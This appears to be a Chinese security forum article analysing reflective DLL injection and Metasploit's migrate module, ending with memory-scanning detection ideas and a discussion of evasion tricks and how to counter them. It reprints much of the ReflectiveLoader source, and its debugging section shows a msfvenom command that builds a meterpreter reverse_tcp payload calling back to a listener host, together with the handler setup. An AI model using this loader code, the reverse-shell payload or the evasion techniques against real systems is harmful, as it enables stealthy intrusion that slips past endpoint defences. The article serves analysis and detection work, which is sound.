一、前言 dll注入技术是让某个进程主动加载指定的dll的技术。恶意软件为了提高隐蔽性,通常会使用dll注入技术将自身的恶意代码以dll的形式注入高可信进程。
常规的dll注入技术使用LoadLibraryA()函数来使被注入进程加载指定的dll。常规dll注入的方式一个致命的缺陷是需要恶意的dll以文件的形式存储在受害者主机上。这样使得常规dll注入技术在受害者主机上留下痕迹较大,很容易被edr等安全产品检测到。为了弥补这个缺陷,stephen fewer提出了反射式dll注入技术并在github开源 ,反射式dll注入技术的优势在于可以使得恶意的dll通过socket等方式直接传输到目标进程内存并加载,期间无任何文件落地,安全产品的检测难度大大增加。
本文将从dll注入技术简介、msf migrate模块剖析、检测思路和攻防对抗的思考等方向展开说明反射式dll注入技术。
二、dll注入技术简介 2.1 常规dll注入技术 常规dll注入有:
通过调用CreateRemoteThread()/NtCreateThread()/RtlCreateUserThread()函数在被注入进程创建线程进行dll注入。
通过调用QueueUserAPC()/SetThreadContext()函数来劫持被注入进程已存在的线程加载dll。
通过调用SetWindowsHookEx()函数来设置拦截事件,在发生对应的事件时,被注入进程执行拦截事件函数加载dll。
以使用CreateRemoteThread()函数进行dll注入的方式为例,实现思路如下:
获取被注入进程PID。
在注入进程的访问令牌中开启SE_DEBUG_NAME权限。
使用openOpenProcess()函数获取被注入进程句柄。
使用VirtualAllocEx()函数在被注入进程内开辟缓冲区并使用WriteProcessMemory()函数写入DLL路径的字符串。
使用GetProcAddress()函数在当前进程加载的kernel32.dll找到LoadLibraryA函数的地址。
通过CreateRemoteThread()函数来调用LoadLibraryA()函数,在被注入进程新启动一个线程,使得被注入进程进程加载恶意的DLL。
常规dll注入示意图如上图所示。该图直接从步骤3)开始,步骤1)和步骤2)不在赘述。
2.2 反射式dll注入技术 反射式dll注入与常规dll注入类似,而不同的地方在于反射式dll注入技术自己实现了一个reflective loader()函数来代替LoadLibaryA()函数去加载dll,示意图如下图所示。蓝色的线表示与用常规dll注入相同的步骤,红框中的是reflective loader()函数行为,也是下面重点描述的地方。
Reflective loader实现思路如下:
获得被注入进程未解析的dll的基地址,即下图第7步所指的dll。
获得必要的dll句柄和函数为修复导入表做准备。
分配一块新内存去取解析dll,并把pe头复制到新内存中和将各节复制到新内存中。
修复导入表和重定向表。
执行DllMain()函数。
三、Msf migrate模块剖析 msf的migrate模块是post阶段的一个模块,其作用是将meterpreter payload从当前进程迁移到指定进程。
在获得meterpreter session后可以直接使用migrate命令迁移进程,其效果如下图所示:
migrate的模块的实现和stephen fewer的ReflectiveDLLInjection 项目大致相同,增加了一些细节,其实现原理如下:
读取metsrv.dll(metpreter payload模板dll)文件到内存中。
生成最终的payload。
a) msf生成一小段汇编migrate stub主要用于建立socket连接。
b) 将metsrv.dll的dos头修改为一小段汇编meterpreter_loader主要用于调用reflective loader函数和dllmain函数。在metsrv.dll的config block区填充meterpreter建立session时的配置信息。
c) 最后将migrate stub和修改后的metsrv.dll拼接在一起生成最终的payload。
向msf server发送migrate请求和payload。
msf向迁移目标进程分配一块内存并写入payload。
msf首先会创建的远程线程执行migrate stub,如果失败了,就会尝试用apc注入的方式执行migrate stub。migrate stub会调用meterpreter loader,meterpreter loader才会调用reflective loader。
reflective loader进行反射式dll注入。
最后msf client和msf server建立一个新的session。
原理图如下所示:
图中红色的线表示与常规反射式dll注入不同的地方。红色的填充表示修改内容,绿色的填充表示增加内容。migrate模块的reflective loader是直接复用了stephen fewer的ReflectiveDLLInjection项目的ReflectiveLoader.c 中的ReflectiveLoader()函数。下面我们主要关注reflective loader的行为。
3.1 静态分析 3.1.1 获取dll基地址 ReflectiveLoader()首先会调用caller()函数
1
uiLibraryAddress
=
caller();
caller()函数实质上是_ReturnAddress()函数的封装。caller()函数的作用是获取caller()函数的返回值,在这里也就是ReflectiveLoader()函数中调用caller()函数的下一条指令的地址。
1
2
3
4
5
6
7
__declspec(noinline) ULONG_PTR caller( VOID ) {
return
(ULONG_PTR)WIN_GET_CALLER(); }
然后,向低地址逐字节比较是否为为dos头的标识MZ字串,若当前地址的内容为MZ字串,则把当前地址认为是dos头结构体的开头,并校验dos头e_lfanew结构成员是否指向pe头的标识”PE”字串。若校验通过,则认为当前地址是正确的dos头结构体的开头。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
while
( TRUE )
{
/
/
将当前地址当成dos头结构,此结构的e_magic成员变量是否指向MZ子串
if
( ((PIMAGE_DOS_HEADER)uiLibraryAddress)
-
>e_magic
=
=
IMAGE_DOS_SIGNATURE )
{
uiHeaderValue
=
((PIMAGE_DOS_HEADER)uiLibraryAddress)
-
>e_lfanew;
if
( uiHeaderValue >
=
sizeof(IMAGE_DOS_HEADER) && uiHeaderValue <
1024
)
{
uiHeaderValue
+
=
uiLibraryAddress;
/
/
判断e_lfanew结构成员是否指向PE子串,是则跳出循环,取得未解析dll的基地址
if
( ((PIMAGE_NT_HEADERS)uiHeaderValue)
-
>Signature
=
=
IMAGE_NT_SIGNATURE )
break
;
}
}
uiLibraryAddress
-
-
;
}
3.1.2 获取必要的dll句柄和函数地址 获取必要的dll句柄是通过遍历peb结构体中的ldr成员中的InMemoryOrderModuleList链表获取dll名称,之后算出dll名称的hash,最后进行hash对比得到最终的hash。
1
2
3
4
5
6
7
8
9
10
11
uiBaseAddress
=
(ULONG_PTR)((_PPEB)uiBaseAddress)
-
>pLdr;
uiValueA
=
(ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)
-
>InMemoryOrderModuleList.Flink;
while
( uiValueA )
{
uiValueB
=
(ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)
-
>BaseDllName.pBuffer;
usCounter
=
((PLDR_DATA_TABLE_ENTRY)uiValueA)
-
>BaseDllName.Length;
uiValueC
=
0
;
ULONG_PTR tmpValC
=
uiValueC;
/
/
计算tmpValC所指向子串的
hash
值,并存储在uiValueC中
....
if
( (DWORD)uiValueC
=
=
KERNEL32DLL_HASH )
必要的函数是遍历函数所在的dll导出表获得函数名称,然后做hash对比得到的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
uiBaseAddress
=
(ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)
-
>DllBase;
uiExportDir
=
uiBaseAddress
+
((PIMAGE_DOS_HEADER)uiBaseAddress)
-
>e_lfanew;
uiNameArray
=
(ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)
-
>OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir
=
( uiBaseAddress
+
((PIMAGE_DATA_DIRECTORY)uiNameArray)
-
>VirtualAddress );
uiNameArray
=
( uiBaseAddress
+
((PIMAGE_EXPORT_DIRECTORY )uiExportDir)
-
>AddressOfNames );
uiNameOrdinals
=
( uiBaseAddress
+
((PIMAGE_EXPORT_DIRECTORY )uiExportDir)
-
>AddressOfNameOrdinals );
usCounter
=
3
;
while
( usCounter >
0
)
{
dwHashValue
=
_hash( (char
*
)( uiBaseAddress
+
DEREF_32( uiNameArray ) ) );
if
( dwHashValue
=
=
LOADLIBRARYA_HASH
/
/
等于其他函数
hash
的情况
|| ...
)
{
uiAddressArray
=
( uiBaseAddress
+
((PIMAGE_EXPORT_DIRECTORY )uiExportDir)
-
>AddressOfFunctions );
uiAddressArray
+
=
( DEREF_16( uiNameOrdinals )
*
sizeof(DWORD) );
if
( dwHashValue
=
=
LOADLIBRARYA_HASH )
pLoadLibraryA
=
(LOADLIBRARYA)( uiBaseAddress
+
DEREF_32( uiAddressArray ) );
/
/
等于其他函数
hash
的情况
...
usCounter
-
-
;
}
uiNameArray
+
=
sizeof(DWORD);
uiNameOrdinals
+
=
sizeof(WORD);
}
}
3.1.3 将dll映射到新内存 Nt optional header结构体中的SizeOfImage变量存储着pe文件在内存中解析后所占的内存大小。所以ReflectiveLoader()获取到SizeOfImage的大小,分配一块新内存,然后按照section headers结构中的文件相对偏移和相对虚拟地址,将pe节一一映射到新内存中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/
/
分配SizeOfImage的新内存
uiBaseAddress
=
(ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)
-
>OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
...
uiValueA
=
((PIMAGE_NT_HEADERS)uiHeaderValue)
-
>OptionalHeader.SizeOfHeaders;
uiValueB
=
uiLibraryAddress;
uiValueC
=
uiBaseAddress;
/
/
将所有头和节表逐字节复制到新内存
while
( uiValueA
-
-
)
*
(BYTE
*
)uiValueC
+
+
=
*
(BYTE
*
)uiValueB
+
+
;
/
/
解析每一个节表项
uiValueA
=
( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)
-
>OptionalHeader
+
((PIMAGE_NT_HEADERS)uiHeaderValue)
-
>FileHeader.SizeOfOptionalHeader );
uiValueE
=
((PIMAGE_NT_HEADERS)uiHeaderValue)
-
>FileHeader.NumberOfSections;
while
( uiValueE
-
-
)
{
uiValueB
=
( uiBaseAddress
+
((PIMAGE_SECTION_HEADER)uiValueA)
-
>VirtualAddress );
uiValueC
=
( uiLibraryAddress
+
((PIMAGE_SECTION_HEADER)uiValueA)
-
>PointerToRawData );
uiValueD
=
((PIMAGE_SECTION_HEADER)uiValueA)
-
>SizeOfRawData;
/
/
将每一节的内容复制到新内存对应的位置
while
( uiValueD
-
-
)
*
(BYTE
*
)uiValueB
+
+
=
*
(BYTE
*
)uiValueC
+
+
;
uiValueA
+
=
sizeof( IMAGE_SECTION_HEADER );
}
3.1.4 修复导入表和重定位表 首先更具导入表结构,找到导入函数所在的dll名称,然后使用loadlibary()函数载入dll,根据函数序号或者函数名称,在载入的dll的导出表中,通过hash对比,并把找出的函数地址写入到新内存的IAT表中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
uiValueB
=
(ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)
-
>OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC
=
( uiBaseAddress
+
((PIMAGE_DATA_DIRECTORY)uiValueB)
-
>VirtualAddress );
/
/
当没有到达导入表末尾时
while
( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)
-
>Characteristics )
{
/
/
使用LoadLibraryA()函数加载对应的dll
uiLibraryAddress
=
(ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress
+
((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)
-
>Name ) );
...
uiValueD
=
( uiBaseAddress
+
((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)
-
>OriginalFirstThunk );
/
/
IAT表
uiValueA
=
( uiBaseAddress
+
((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)
-
>FirstThunk );
while
( DEREF(uiValueA) )
{
/
/
如果导入函数是通过函数编号导入
if
( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)
-
>u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
/
/
通过函数编号索引导入函数所在dll的导出函数
uiExportDir
=
uiLibraryAddress
+
((PIMAGE_DOS_HEADER)uiLibraryAddress)
-
>e_lfanew;
uiNameArray
=
(ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)
-
>OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir
=
( uiLibraryAddress
+
((PIMAGE_DATA_DIRECTORY)uiNameArray)
-
>VirtualAddress );
uiAddressArray
=
( uiLibraryAddress
+
((PIMAGE_EXPORT_DIRECTORY )uiExportDir)
-
>AddressOfFunctions );
uiAddressArray
+
=
( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)
-
>u1.Ordinal )
-
((PIMAGE_EXPORT_DIRECTORY )uiExportDir)
-
>Base )
*
sizeof(DWORD) );
/
/
将对应的导入函数地址写入IAT表
DEREF(uiValueA)
=
( uiLibraryAddress
+
DEREF_32(uiAddressArray) );
}
else
{
/
/
导入函数通过名称导入的
uiValueB
=
( uiBaseAddress
+
DEREF(uiValueA) );
DEREF(uiValueA)
=
(ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)
-
>Name );
}
uiValueA
+
=
sizeof( ULONG_PTR );
if
( uiValueD )
uiValueD
+
=
sizeof( ULONG_PTR );
}
uiValueC
+
=
sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
重定位表是为了解决程序指定的imagebase被占用的情况下,程序使用绝对地址导致访问错误的情况。一般来说,在引用全局变量的时候会用到绝对地址。这时候就需要去修正对应内存的汇编指令。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
uiLibraryAddress
=
uiBaseAddress
-
((PIMAGE_NT_HEADERS)uiHeaderValue)
-
>OptionalHeader.ImageBase;
uiValueB
=
(ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)
-
>OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
/
/
如果重定向表的值不为
0
,则修正重定向节
if
( ((PIMAGE_DATA_DIRECTORY)uiValueB)
-
>Size )
{
uiValueE
=
((PIMAGE_BASE_RELOCATION)uiValueB)
-
>SizeOfBlock;
uiValueC
=
( uiBaseAddress
+
((PIMAGE_DATA_DIRECTORY)uiValueB)
-
>VirtualAddress );
while
( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)
-
>SizeOfBlock )
{
uiValueA
=
( uiBaseAddress
+
((PIMAGE_BASE_RELOCATION)uiValueC)
-
>VirtualAddress );
uiValueB
=
( ((PIMAGE_BASE_RELOCATION)uiValueC)
-
>SizeOfBlock
-
sizeof(IMAGE_BASE_RELOCATION) )
/
sizeof( IMAGE_RELOC );
uiValueD
=
uiValueC
+
sizeof(IMAGE_BASE_RELOCATION);
/
/
根据不同的标识,修正每一项对应地址的值
while
( uiValueB
-
-
)
{
if
( ((PIMAGE_RELOC)uiValueD)
-
>
type
=
=
IMAGE_REL_BASED_DIR64 )
*
(ULONG_PTR
*
)(uiValueA
+
((PIMAGE_RELOC)uiValueD)
-
>offset)
+
=
uiLibraryAddress;
else
if
( ((PIMAGE_RELOC)uiValueD)
-
>
type
=
=
IMAGE_REL_BASED_HIGHLOW )
*
(DWORD
*
)(uiValueA
+
((PIMAGE_RELOC)uiValueD)
-
>offset)
+
=
(DWORD)uiLibraryAddress;
else
if
( ((PIMAGE_RELOC)uiValueD)
-
>
type
=
=
IMAGE_REL_BASED_HIGH )
*
(WORD
*
)(uiValueA
+
((PIMAGE_RELOC)uiValueD)
-
>offset)
+
=
HIWORD(uiLibraryAddress);
else
if
( ((PIMAGE_RELOC)uiValueD)
-
>
type
=
=
IMAGE_REL_BASED_LOW )
*
(WORD
*
)(uiValueA
+
((PIMAGE_RELOC)uiValueD)
-
>offset)
+
=
LOWORD(uiLibraryAddress);
uiValueD
+
=
sizeof( IMAGE_RELOC );
}
uiValueE
-
=
((PIMAGE_BASE_RELOCATION)uiValueC)
-
>SizeOfBlock;
uiValueC
=
uiValueC
+
((PIMAGE_BASE_RELOCATION)uiValueC)
-
>SizeOfBlock;
}
}
3.2 动态调试 本节一方面是演示如何实际的动态调试msf的migrate模块,另一方面也是3.1.1的一个补充,从汇编层次来看3.1.1节会更容易理解。
首先用msfvenom生成payload
1
msfvenom
-
p windows
/
x64
/
meterpreter
/
reverse_tcp lhost
=
192.168
.
75.132
lport
=
4444
-
f exe
-
o msf.exe
并使用msfconsole设置监听
1
2
3
4
5
6
7
8
msf6 > use exploit
/
multi
/
handler
[
*
] Using configured payload generic
/
shell_reverse_tcp
msf6 exploit(multi
/
handler) >
set
payload windows
/
x64
/
meterpreter
/
reverse_tcppayload
=
> windows
/
x64
/
meterpreter
/
reverse_tcp
msf6 exploit(multi
/
handler) >
set
lhost
0.0
.
0.0
lhost
=
>
0.0
.
0.0
msf6 exploit(multi
/
handler) > exploit
[
*
] Started reverse TCP handler on
0.0
.
0.0
:
4444
之后在受害机使用windbg启动msf.exe并且
1
bu KERNEL32!CreateRemoteThread;g
获得被注入进程新线程执行的地址,以便调试被注入进程。
当建立session连接后,在msfconsole使用migrate命令
1
migrate
5600
/
/
5600
是要迁移的进程的pid
然后msf.exe在CreateRemoteThread函数断下,CreateRemoteThread函数原型如下
1
2
3
4
5
6
7
8
9
HANDLE CreateRemoteThread(
[
in
] HANDLE hProcess,
[
in
] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[
in
] SIZE_T dwStackSize,
[
in
] LPTHREAD_START_ROUTINE lpStartAddress,
[
in
] LPVOID lpParameter,
[
in
] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
所以我们要找第四个参数lpStartAddress的值,即r9寄存器的内容,
使用
1
!address
000001c160bb0000
去notepad进程验证一下,是可读可写的内存,基本上就是对的
此时的地址是migrate stub汇编代码的地址,我们期望直接断在reflective loader的函数地址,我们通过
1
s
-
a
000001c1
`
60bb0000
L32000 MZ
/
/
000001c1
`
60bb0000
为上面的lpStartAddress,
3200
为我们获取到的内存块大小
直接去搜MZ字串定位到meterpreter loader汇编的地址,进而定位到reflective loader的函数地址
meterpreter loader将reflective loader函数的地址放到rbx中,所以我们可直接断在此处,进入reflective loader的函数,如下图所示
reflective loader首先call 000001c1`60bb5dc9也就是caller()函数,caller()函数的实现就比较简单了,一共两条汇编指令,起作用就是返回下一条指令的地址
在这里也就是0x000001c160bb5e08
获得下一条指令后的地址后,就会比较获取的地址的内容是否为MZ如果不是的话就会把获取的地址减一作为新地址比较,如果是的话,则会比较e_lfanew结构成员是否指向PE,若是则此时的地址作为dll的基地址。后面调试过程不在赘述。
四、检测方法 反射式dll注入技术有很多种检测方法,如内存扫描、IOA等。下面是以内存扫描为例,我想到的一些扫描策略和比较好的检测点。
扫描策略:
Hook敏感api,当发生敏感api调用序列时,对注入进程和被注入进程扫描内存。
跳过InMemoryOrderModuleList中的dll。
检测点多是跟reflective loader函数的行为有关,检测点如下:
强特征匹配_ReturnAddress()的函数。Reflectiveloader函数定位dos头的前置操作就是调用调用_ReturnAddress()函数获得当前dll的一个地址。
扫描定位pe开头位置的代码逻辑。详见3.1节,我们可以弱匹配此逻辑。
扫描特定的hash函数和hash值。在dll注入过程中,需要许多dll句柄和函数地址,所以不得不使用hash对比dll名称和函数名称。我们可以匹配hash函数和这些特殊的hash值。
从整体上检测dll注入。在被注入进程其实是存在两份dll文件,一份是解析前的原pe文件,一份是解析后的pe文件。我们可以检测这两份dll文件的关系来确定是反射式dll注入工具。
深信服云主机安全保护平台CWPP能够有效检测此类利用反射式DLL注入payload的无文件攻击技术。检测结果如图所示:
五、攻防对抗的思考 对于标准的反射dll注入是有很多种检测方式的,主要是作者没有刻意的做免杀,下面对于我搜集到了一些免杀方式,探讨一下其检测策略。
避免直接调用敏感api 。例如不直接调用writeprocessmemory等函数,而是直接用syscall调用。这种免杀方式只能绕过用户态的hook。对于内核态hook可以解这个问题。
dll在内存中的rwx权限进行了去除,变成rx。其实有好多粗暴的检测反射式dll注入的攻击方式,就是检测rwx权限的内存是否为pe文件。
擦除nt头和dos头。这种免杀方式会直接让检测点4)影响较大,不能简单的校验pe头了,需要加入更精确的确定两个dll的文件,比如说,首先通过读取未解析的dll的SizeOfImage的大小,然后去找此大小的内存块,然后对比代码段是否一致,去判断是否为同一pe文件。
抹除未解析pe文件的内存。这种免杀方式会导致检测点4)彻底失效,这种情况下我们只能对reflectiveloader()函数进行检测。
抹除reflectiveloader()函数的内存。这里就比较难检测了。但是也是有检测点的,这里关键是如何确定这块内存是pe结构,重建pe结构之后,我们可以通过导出表去看导出函数是否被抹除。
六、参考文献
https://bbs.pediy.com/thread-220405.htm
https://bbs.pediy.com/thread-224078.htm
https://github.com/sud01oo/ProcessInjection
https://github.com/stephenfewer/ReflectiveDLLInjection
《Windows PE权威指南》
https://github.com/rapid7/metasploit-payloads
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!